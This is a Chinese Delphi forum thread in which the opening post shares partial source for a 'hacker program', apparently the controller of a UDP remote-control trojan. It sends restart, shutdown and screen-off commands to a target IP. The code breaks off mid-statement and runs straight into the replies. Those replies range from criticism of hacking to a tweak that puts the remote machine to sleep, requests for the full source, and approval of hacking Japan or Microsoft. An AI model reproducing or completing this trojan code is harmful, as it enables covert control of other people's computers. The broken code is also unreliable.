各位黑软高手，一起来编黑客程序（内已有部份源码）(0分)

看了http://www.gislab.ecnu.edu.cn/delphibbs/DispQ.asp?LID=499978贴子非常有感慨！！
所以贴出些贴！
首先申明，本人只是一个菜鸟，以下程序只是偶得提出供大家分享、讨论，以求共同提高。

Server.pas
————————————————————————————
unit Server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, NMUDP, StdCtrls;
type
TForm1 = class(TForm)
SUDP: TNMUDP;
MainMenu1: TMainMenu;
WIndows1: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
N11: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
N16: TMenuItem;
N17: TMenuItem;
N18: TMenuItem;
N19: TMenuItem;
N20: TMenuItem;
N21: TMenuItem;
N22: TMenuItem;
N23: TMenuItem;
Edit2: TEdit;
StaticText1: TStaticText;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N7Click(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure N10Click(Sender: TObject);
procedure N13Click(Sender: TObject);
procedure N12Click(Sender: TObject);
procedure N15Click(Sender: TObject);
procedure N16Click(Sender: TObject);
procedure N17Click(Sender: TObject);
procedure N18Click(Sender: TObject);
procedure N19Click(Sender: TObject);
procedure N20Click(Sender: TObject);
procedure N21Click(Sender: TObject);
procedure N22Click(Sender: TObject);
procedure N23Click(Sender: TObject);
private
procedure winexit(var msg:tmessage);message wm_queryendsession;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
implementation
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;

procedure TForm1.winexit(var msg:tmessage);
begin
msg.Result:=1;
application.ProcessMessages;
application.Terminate;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
RsltStream.Free;
TmpStream.Free;
end;

procedure TForm1.N1Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='restart';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N2Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='close';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N4Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='cscre';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N5Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='oscre';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;

procedure TForm1.N7Click(Sender: TObject);
var ReqCode:array[0..250] of char;ReqCodeStr:string;
xinxi:string;
begin
xinxi:=inputbox('请输入要发送的信息','信息','');
if xinxi<>'' then
begin
ReqCodeStr:='

SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ;
根本不能黑屏啊。
我用的是win2k svr

只想问一句, 成天想着如何黑人家是不是有点无聊

改为这样是不是会好看点：
if StrPas(CtrlCode)='ccompu' then
//计算机睡眠
SetSystemPowerState( true, true );

这种东西到处都是，也没什么用处。
还是抓紧时间多学一些有用的东西吧。

老兄，你干脆直接将源代码发给我吧。kan@freetrend.
com.vn

呵呵，其实我觉得作为网络编程初学者(比如在下)可以编编这种远程控制什么的
权当是入门培训罢了,要用也没什么必要,好的黑软那么多,自己以后也不能
把它转化为rmb吧,没人买呀^_^.当然，如果是平时空闲时间较多，出于兴趣的缘故
可以搞搞,否则，在下认为还是学点有实际市场价值的知识，您说呢?
纯属个人意见
另：beta你怎么好像没上oicq了,看到我的request了吗?

另：看了您提起的贴子我这心中还真气血翻腾了好一阵
它$@#$$@#$的............(我发誓不在dfw上说粗话)

我有兴趣看看！嘻嘻！

faint...

挺好。

我好像在那下载过delphi编的黑客程序，不知你想要否?

这个世界的确有很多人有被黑的必要(x日本、M$...)，但更多的人需要我们的帮助，建议为后者服务。
黑客程序能够创造价值吗？能够推动计算机技术的发展吗？
要长水平的话也不一定要编黑客程序呀。看看当年疯狂学习加密的...有用吗？
如果你能够编一个专门找软件Bug的程序——I 服了 You!
天行健，君子自强不息。
——只要自强即可，不要一天到晚老想着如何去整别人。

您这篇贴子又提前了啊^_^
看您的确是对这玩意儿感兴趣
这样吧，我几个月前编过一个玩儿
现在缺一个多线程端口扫描程序，(我已经尽力了，
但由于水平实在低下，这个功能写了一个星期，不是
bug就是死机,如果你能给我一个这样的源码,我可以
把我的所有源程序给你)
最后：为了学习网络编程，在下认为适当地结合兴趣
编一些远程控制是不错的主意,正如我上一篇帖子所说,
但最好别沉迷其中，写一些有价值的东西比较好

您这篇贴子又提前了啊^_^
看您的确是对这玩意儿感兴趣
这样吧，我几个月前编过一个玩儿
现在缺一个多线程端口扫描程序，(我已经尽力了，
但由于水平实在低下，这个功能写了一个星期，不是
bug就是死机,如果你能给我一个这样的源码,我可以
把我的所有源程序给你)
最后：为了学习网络编程，在下认为适当地结合兴趣
编一些远程控制是不错的主意,正如我上一篇帖子所说,
但最好别沉迷其中，写一些有价值的东西比较好

faint~``

没有黑哪有白？没有女怎有男？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？

呵呵呵呵。我一阵奸笑: )

玩不玩黑，纯属“个人主权”，不应多有指责，我倒觉得能够玩黑是好事情，可以
惩恶扬善吗，比如可恶的对象（小日本等）....
随便说说。。。。

写写这种简单的木马程序可以作为网络和系统编程的小练习，要想写出
重量级的黑客软件，对网络原理及协议和操作系统实现方法如果没有精深
的研究是不行的,所以有名的黑客软件一般都是unix下的，就是Win下的也很少
用Delphi开发,不是Delphi不好，而是包装的控件不适合做系统底层的东西，
而且我认为要想成为高手，掌握系统原理远比会使用一种开发工具重要。